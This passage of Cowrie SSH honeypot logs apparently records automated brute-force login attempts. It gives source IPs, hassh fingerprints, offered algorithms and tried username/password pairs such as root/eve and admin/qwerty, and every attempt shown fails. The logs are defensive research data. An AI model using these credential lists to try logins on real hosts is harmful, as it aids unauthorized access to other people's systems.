penssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:53.650495Z","src_ip":"99.252.20.159","session":"670481b2bebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mexc","password":"S@f3!P#ssw0rd$00","message":"login attempt [mexc/S@f3!P#ssw0rd$00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:53.851629Z","src_ip":"99.252.20.159","session":"670481b2bebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:54.895336Z","src_ip":"99.252.20.159","session":"670481b2bebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d326f8edffb","protocol":"ssh","message":"New connection: 45.156.87.253:57394 (10.17.0.5:22) [session: 1d326f8edffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:55.069306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:55.072807Z","src_ip":"45.156.87.253","session":"1d326f8edffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:55.152360Z","src_ip":"45.156.87.253","session":"1d326f8edffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:55.394921Z","src_ip":"45.156.87.253","session":"1d326f8edffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:56.477451Z","src_ip":"45.156.87.253","session":"1d326f8edffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57418,"dst_ip":"10.17.0.5","dst_port":22,"session":"748c47665b9f","protocol":"ssh","message":"New connection: 45.156.87.253:57418 (10.17.0.5:22) [session: 748c47665b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:58.421080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:58.423680Z","src_ip":"45.156.87.253","session":"748c47665b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:58.504812Z","src_ip":"45.156.87.253","session":"748c47665b9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:58.746522Z","src_ip":"45.156.87.253","session":"748c47665b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:59.897125Z","src_ip":"45.156.87.253","session":"748c47665b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53920,"dst_ip":"10.17.0.5","dst_port":22,"session":"89ceefc322f7","protocol":"ssh","message":"New connection: 45.156.87.253:53920 (10.17.0.5:22) [session: 89ceefc322f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:01.784232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:01.787790Z","src_ip":"45.156.87.253","session":"89ceefc322f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:01.871530Z","src_ip":"45.156.87.253","session":"89ceefc322f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:02.287571Z","src_ip":"45.156.87.253","session":"89ceefc322f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:03.371037Z","src_ip":"45.156.87.253","session":"89ceefc322f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53930,"dst_ip":"10.17.0.5","dst_port":22,"session":"f37480d0a423","protocol":"ssh","message":"New connection: 45.156.87.253:53930 (10.17.0.5:22) [session: f37480d0a423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:05.344176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:05.347742Z","src_ip":"45.156.87.253","session":"f37480d0a423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:05.428223Z","src_ip":"45.156.87.253","session":"f37480d0a423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:05.670535Z","src_ip":"45.156.87.253","session":"f37480d0a423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:06.753381Z","src_ip":"45.156.87.253","session":"f37480d0a423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53942,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6af4fdae48","protocol":"ssh","message":"New connection: 45.156.87.253:53942 (10.17.0.5:22) [session: 6f6af4fdae48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:08.634444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:08.638701Z","src_ip":"45.156.87.253","session":"6f6af4fdae48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:08.719726Z","src_ip":"45.156.87.253","session":"6f6af4fdae48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:08.966475Z","src_ip":"45.156.87.253","session":"6f6af4fdae48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38868,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f60ed4a09f0","protocol":"ssh","message":"New connection: 91.92.40.11:38868 (10.17.0.5:22) [session: 3f60ed4a09f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:09.955230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:10.041633Z","src_ip":"91.92.40.11","session":"3f60ed4a09f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:10.044815Z","src_ip":"91.92.40.11","session":"3f60ed4a09f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:10.116377Z","src_ip":"45.156.87.253","session":"6f6af4fdae48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwerty","message":"login attempt [admin/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:10.948224Z","src_ip":"91.92.40.11","session":"3f60ed4a09f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51306,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1314d285733","protocol":"ssh","message":"New connection: 45.156.87.253:51306 (10.17.0.5:22) [session: d1314d285733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:11.978272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:11.982337Z","src_ip":"45.156.87.253","session":"d1314d285733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:12.064015Z","src_ip":"45.156.87.253","session":"d1314d285733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:12.294671Z","src_ip":"91.92.40.11","session":"3f60ed4a09f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:12.314994Z","src_ip":"45.156.87.253","session":"d1314d285733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:13.399505Z","src_ip":"45.156.87.253","session":"d1314d285733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51318,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47d0d14e9fd","protocol":"ssh","message":"New connection: 45.156.87.253:51318 (10.17.0.5:22) [session: d47d0d14e9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:15.385016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:15.388435Z","src_ip":"45.156.87.253","session":"d47d0d14e9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:15.467999Z","src_ip":"45.156.87.253","session":"d47d0d14e9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:15.710156Z","src_ip":"45.156.87.253","session":"d47d0d14e9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:16.801543Z","src_ip":"45.156.87.253","session":"d47d0d14e9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51322,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a384456ddd0","protocol":"ssh","message":"New connection: 45.156.87.253:51322 (10.17.0.5:22) [session: 6a384456ddd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:18.686601Z"}
